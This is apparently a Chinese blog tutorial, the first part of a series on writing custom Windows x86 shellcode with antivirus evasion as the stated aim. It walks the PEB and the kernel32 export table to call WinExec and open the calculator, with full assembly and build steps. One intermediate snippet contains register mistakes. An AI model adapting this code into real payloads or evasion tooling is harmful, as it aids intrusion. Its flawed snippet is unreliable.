Windows Shellcode Development Pt.1

Preface

在实际的红队攻防与渗透测试的过程中,免杀是非常重要的一环,它能够使我们在目标上执行恶意程序时不被杀毒软件侦测到,从而能够持续的隐秘攻击。我们将先通过了解Windows下基础的Shellcode的开发来逐步导入免杀的学习。

此文将是免杀技术的第一篇文章,系列文章的目标是:

  1. 了解Windows Shellcode的运行原理及其多样性研究。
  2. 通过ASM/C/C++编写自定义Shellcode,区别于msfvenom所生成的Payload。
  3. 使Shellcode绕过国内常规杀软的检测且能够正常运行。

本文的读者需要了解基础的汇编语言语法,以及操作系统、程序运行的基础概念。

Introduce

我们首先需要了解Shellcode是什么?为什么需要Shellcode?

Shellcode往往用于利用漏洞的Payload,例如CTF中PWN方向往往就是利用栈溢出、堆溢出等漏洞使得操作系统执行Shellcode从而获得一个Shell,但执行类似任务的代码也可以称之为Shellcode,它的作用也并不局限于创建一个Shell,例如msfvenom中提供的Windows下创建用户的Shellcode。

Shellcode一般由机器代码编写,通过汇编语言生成,它的尺寸并不大,我们在编写Shellcode时希望它的尺寸不大而且能够拥有更大的兼容性,使其在广泛的操作系统或设备上可用。但Shellcode并不能直接运行,我们一般将其包装在一个C程序中,通过内联汇编的方式执行它。

Before Start

在开始之前,我们还需要了解一部分Windows Shellcode开发的内容。

一般情况下Windows Shellcode开发比Linux更难,主要原因是Windows下的程序无法直接使用系统调用,而Linux的程序则可以更方便的进行系统调用。

Windows通过Windows API (WinAPI)来进行内核级别的操作,而WinAPI则是在内部调用Native API (NtAPI)来实现。WinAPI由Kernel32.dll提供,而NtAPI由ntdll.dll提供,但Windows并没有完整披露NtAPI的文档。

这两个DLL非常重要,几乎每个进程都使用该DLL。这两个DLL仅在内存中加载一次,如果需要使用DLL其中的函数,操作系统将把DLL的映像文件映射到进程的地址空间中。但DLL映射的基地址在不同的操作系统或计算机也是不同的。

那么如果只是针对特定的操作系统开发Shellcode,可以使用硬编码的办法,因为在相同的操作系统中函数地址等内容也是相对固定的,但硬编码更容易被杀毒软件发现,因为部分敏感函数的地址可能已经被杀毒软件标记为危险内容。

我们也可以开发相对通用的Shellcode,那么就需要动态计算我们所需要的函数地址,Shellcode的尺寸也会相对大一些,但是更为灵活,也降低了被杀毒软件发现的可能性。

编写弹出计算器的Shellcode的步骤与流程如下:

  1. 获取 kernal32.dll 基地址。
  2. 找到函数导出表。
  3. 查找 WinExec 函数的地址。
  4. 设置函数参数。
  5. 调用函数。

接下来我们将通过Windows 10 x86弹出计算器的实例来说明这个过程。

Find kernal32.dll base address

在具体撰写实现代码前,我们首先要了解到我们应该从哪里寻找 kernal32.dll 的基地址。

TEB ( Thread Environment Block ) 是x86结构下Win32的一种数据结构,它存储了每个线程的运行时信息。32位系统的TEB保存在FS段寄存器中,而64位的TEB则保存在GS段的寄存器中。

TEB其中的一个数据结构指向PEB ( Process Environment Block ) ,PEB字段保存了有关进程的运行时信息。

以下为微软官方文档所展示的TEB结构。

typedef struct _TEB {
  PVOID Reserved1[12];
  PPEB  ProcessEnvironmentBlock;
  PVOID Reserved2[399];
  BYTE  Reserved3[1952];
  PVOID TlsSlots[64];
  BYTE  Reserved4[8];
  PVOID Reserved5[26];
  PVOID ReservedForOle;
  PVOID Reserved6[4];
  PVOID TlsExpansionSlots;
} TEB, *PTEB;

我们首先要对于数据结构有些基础认知,PVOID作为指针的数据类型,在32位系统中占4字节,而ProcessEnvironmentBlock这一成员则是我们需要定位的PEB,如果需要得到它的地址,需要在TEB的基址上偏移4*12个字节即偏移量为0x30。

找到PEB后,我们再来看看微软官方文档中PEB的结构。

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  PVOID                         Reserved4[3];
  PVOID                         AtlThunkSListPtr;
  PVOID                         Reserved5;
  ULONG                         Reserved6;
  PVOID                         Reserved7;
  ULONG                         Reserved8;
  ULONG                         AtlThunkSListPtr32;
  PVOID                         Reserved9[45];
  BYTE                          Reserved10[96];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved11[128];
  PVOID                         Reserved12[1];
  ULONG                         SessionId;
} PEB, *PPEB;

在上面的结构当中,对我们有用的是LDR这一成员,它指向的是PPEB_LDR_DATA这一数据结构,其保存着 kernal32.dllntdll.dll 的基地址,再次计算偏移,偏移量为0x0C。

我们再来看看微软官方文档PEB_LDR_DATA的结构。

typedef struct _PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

此处对我们有价值的是InMemoryOrderModuleList这一成员,再次计算偏移量为0x14。

InMemoryOrderModuleList数据结构如下,其中保存了一个双向循环链表,其中的内容都是指向LDR_DATA_TABLE_ENTRY

typedef struct _LIST_ENTRY {
   struct _LIST_ENTRY *Flink;
   struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

LDR_DATA_TABLE_ENTRY结构定义如下:

typedef struct _LDR_DATA_TABLE_ENTRY {
    PVOID Reserved1[2];
    LIST_ENTRY InMemoryOrderLinks;
    PVOID Reserved2[2];
    PVOID DllBase;
    PVOID EntryPoint;
    PVOID Reserved3;
    UNICODE_STRING FullDllName;
    BYTE Reserved4[8];
    PVOID Reserved5[3];
    union {
        ULONG CheckSum;
        PVOID Reserved6;
    };
    ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

需要注意的是,当我们从PEB_LDR_DATA偏移0x14的地址进入InMemoryOrderModuleList时,我们就已经进入了LDR_DATA_TABLE_ENTRY中,在其基址偏移了0x08,是InMemoryOrderLinks成员,InMemoryOrderLinks同样也保存了两个指针,我们可以使用其中的Flink导航到下一个加载的模块的LDR_DATA_TABLE_ENTRY结构体中。

那么我们距离需要的DllBase偏移量为0x10。

我们还需要知道,Windows内存中加载模块的顺序一般为:

  1. 当前应用
  2. ntdll.dll
  3. kernal32.dll

所以,我们应该获取第三个LDR_DATA_TABLE_ENTRY中的DllBase。

那么这一切如何实现呢?我们使用汇编代码进行实验,其核心汇编如下。

mov ebx, fs:0x30;       // 找到指向PEB的指针
mov ebx, [ebx + 0x0C];  // 将EBX赋值为PPEB_LDR_DATA的地址
mov ebx, [ebx + 0x14];  // 将EBX赋值为LDR_DATA_TABLE_ENTRY结构体中的地址
mov ebx, [ebx];         // 一次引用,进入第二个模块的LDR_DATA_TABLE_ENTRY结构体
mov ebx, [ebx];         // 二次引用,进入第三个模块的LDR_DATA_TABLE_ENTRY结构体
mov ebx, [ebx + 0x10];  // 得到DLL基地址

具体我们使用C++中的内联汇编进行演示。

#include <iostream>
int main() {
    uintptr_t result;
    __asm{
        mov ebx, fs:0x30
        mov ebx, [ebx + 0x0C]
        mov ebx, [ebx + 0x14]
        mov ebx, [ebx]
        mov ebx, [ebx]
        mov ebx, [ebx + 0x10]
        mov result, ebx
    };
    std::cout << "NTDLL.address Result: 0x" << std::hex << result << std::endl;
}

Dynamic debugging

我们使用Win32架构编写Shellcode,我们所使用的平台是WinDBG+Win10 x86进行调试,编译平台为VS 2022。

首先运行程序,我们得到Kernal32.dll的地址为0x75d20000。

我们可以进行手动调试,来探究其实际的运行。我们首先通过!teb扩展指令,获得TEB的基地址,我们得到了TEB的基地址为0x009d4000,我们还获得了PEB的基地址(这是PEB的实际地址而不是指向PEB的指针)。

我们可以尝试读取该地址来解析TEB的数据结构。

也可以直接获取PEB的基址。

然后我们可以通过PEB的基址对PEB的数据结构进行解析,从而获得了PEB_LDR_DATA的基地址。

我们获得了PEB_LDR_DATA的基地址,根据PEB_LDR_DATA的数据结构,我们对其进行0x14的偏移,偏移后的地址即为第一个LDR_DATA_TABLE_ENTRY的0x08偏移处。

通过上面的操作,成功证明了前文的结论,那么,理论上说,第三个LDR_DATA_TABLE_ENTRY结构体其中的DLLBase就是我们所需要的Kernal32.dll的基地址。

那么只需要通过其InInitializationOrderLinks中的Flink地址即可跳转到下一个LDR_DATA_TABLE_ENTRY。

以上就是手动调试的完整过程。我们还可以通过Sysinternals套件中的listdlls.exe来测试正确性。

Find WinExec address

我们知道Windows下可执行文件的格式为PE(Portable Executable),DLL亦使用此格式,此时我们需要知道当DLL被加载入内存中的时候我们所需要使用的函数的地址,那么我们首先要找到DLL的函数导出表,函数导出表保存了DLL中提供使用的函数地址。

我们首先了解DOS头格式,以下为DOS头的结构。

typedef struct _IMAGE_DOS_HEADER {
    WORD  e_magic
    WORD  e_cblp
    ...
    WORD  e_res2[10]
    DWORD e_lfanew
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

值得我们注意的是e_ifanew成员,该成员的偏移为0x3C,它指向PE头。

我们还需要了解PE头格式,以下为PE头的结构。

typedef struct _IMAGE_NT_HEADERS {
  DWORD                   Signature;
  IMAGE_FILE_HEADER       FileHeader;
  IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32; 

对我们有用的是IMAGE_OPTIONAL_HEADER32结构体,它的偏移为0x18,以下为该结构体的部分结构。

typedef struct _IMAGE_OPTIONAL_HEADER {
  WORD                 Magic;
  BYTE                 MajorLinkerVersion;
  BYTE                 MinorLinkerVersion;
  DWORD                SizeOfCode;
  DWORD                SizeOfInitializedData;
  DWORD                SizeOfUninitializedData;
  DWORD                AddressOfEntryPoint;
  ...
  DWORD                ImageBase;
  DWORD                SectionAlignment;
  ...
  IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

DataDirectory是我们需要关注的对象。它包含了导入、导出函数的信息,指向IMAGE_DATA_DIRECTORY结构体,它的偏移是0x60。以下为IMAGE_DATA_DIRECTORY的数据结构。

typedef struct _IMAGE_DATA_DIRECTORY {
  DWORD VirtualAddress;
  DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

其中的VirtualAddress指向函数导出表的开头,那么此时我们就找到了函数导出表的RAV地址,它指向IMAGE_EXPORT_DIRECTORY。该结构体微软官方并未给出结构,但是我们可以在网络上找到如下的结构。

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;
    DWORD   AddressOfNames;
    DWORD   AddressOfNameOrdinals;
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

其中AddressOfFunctionsAddressOfNamesAddressOfNameOrdinals,这三个结构体是我们需要关注的。

  • AddressOfFunctions
    • 指向保存函数RAV地址的数组的指针。
    • 指针大小为四字节。
  • AddressOfNames
    • 指向保存函数名称的数组的指针。
  • AddressOfNameOrdinals
    • 指向一个整数数组,代表函数在AddressOfFunctions的偏移量。
    • 需要注意的是,该数组保存的整数为双字节整数。

如果只通过文字进行理解,比较抽象,我们可以通过下面的图进行理解(图片相对较大,建议额外打开查看)。

那么我们有了这三个结构体,我们就可以通过它们来找到我们所需要的函数的地址。

  1. 遍历保存函数名称的数组,找到指定函数,并计数。
  2. 通过计数从整数数组中到得到函数偏移量。
  3. 通过函数偏移量得到函数RAV地址,通过与DLL基地址相加获得函数实际地址。

接上文代码,我们已经在edx中存储了kernal32.dll的基地址。

mov eax, [ebx + 0x3C];      // 获得指向PE头的RAV地址
add eax, ebx;               // 计算RAV地址
mov eax, [ebx + 0x78];      // 获得kernal32.dll导出表RAV地址
add eax, ebx;               // 计算RAV地址
mov esi, [eax + 0x20];      // 获得函数名称数组的RAV地址
add esi, ebx;               // 计算RAV地址
xor ecx, ecx                // 清零ecx寄存器,用作计数

_find_get_function_name:
    inc ecx                                     // 开始计数
    lodsd                                       // 指令约为mov eax, [esi], esi=esi+4
    cmp dword ptr[eax], 0x456E6957              // 将eax地址对应的函数名与指定值进行对比
    jnz _find_get_function_name                 // 若不相同,则重新调用函数
    cmp dword ptr[eax + 0x04], 0x00636578       // 对比后续的内容
    jnz _find_get_function_name

dec ecx                     // 将计数器减一位,因为整数数组从0开始计数
mov esi, [eax + 0x24]       // 获得整数数组的RAV地址
add esi, edx                // 计算RAV地址
mov cx, [esi + ecx * 2]     // 将CX寄存器保存为偏移量
mov esi, [edx + 0x1C]       // 获得保存函数RAV地址的数组
add esi, ebx                // 计算RAV地址
mov edx, [esi + ecx * 4]    // 获得WinExec函数的RAV地址
add edx, ebx                // 计算RAV地址

通过上述代码的运行,edx寄存器此时就保存了WinExec函数的实际地址,那么我们现在要做的就是调用它。

在对比函数名称时,我们使用的是小端序的16进制的ASCII码。

Call WinExec function

Windows下的函数调用方式和Linux的函数调用栈方式没有太大差异。

mov ebp, esp        // 开辟栈帧
push 0              // WinExec参数uCmdShow,是否显示窗口
push 0x6578652E
push 0x636C6163     // WinExec参数lpCmdLine,执行的命令字符串
push esp            // 将esp的地址压入栈中
call edx            // 调用WinExec函数

那么此时使用C++内联汇编进行运行,那么就能弹出计算器。但是实际上我们需要将汇编代码转换为机器代码然后再放入C++中进行运行。以下为使用nasm编译器进行编译的完整汇编代码(删减和调整了一部分内容)。

编译命令为nasm.exe -f win32 "<path>" -o "<output_path>"

%use masm
xor ecx, ecx
mov ebx, fs:[ecx+0x30]
mov ebx, [ebx + 0x0C]
mov ebx, [ebx + 0x14]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx + 0x10]

mov edx, [ebx + 0x3C]
add edx, ebx
mov edx, [edx + 0x78]
add edx, ebx
mov esi, [edx + 0x20]
add esi, ebx
_find_get_function_name:
    inc ecx
    lodsd
    add eax, ebx
    cmp dword ptr[eax], 0x456E6957
    jnz _find_get_function_name

dec cx
mov esi, [edx + 0x24]
add esi, ebx
mov cx, [esi + ecx * 2]
mov esi, [edx + 0x1C]
add esi, ebx
mov edx, [esi + ecx * 4]
add edx, ebx

mov ebp, esp
push 0
push 0x6578652E
push 0x636C6163
push esp
call edx

获得了编译后的内容机器代码后,我们可以使用objdump将其中的机器提取出,然后放入C++中包装。

随后我们进行编译即可。(需要注意的是,使用VS进行编译需要修改编译选项,禁用安全检查以及关闭DEP。)

At last

此Shellcode只实现了基本功能,部分功能可以开发的更通用,且存在一部分小问题,例如在运行Shellcode时会出现黑色窗口(一段时间后会被系统回收),这可能是因为没有调用ExitProcess函数进行正常退出,我们将在后面的例子中进一步完善和开发具有更多功能的Shellcode。

经过测试,Win10 x86与Win11 x64均可以运行该Shellcode。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇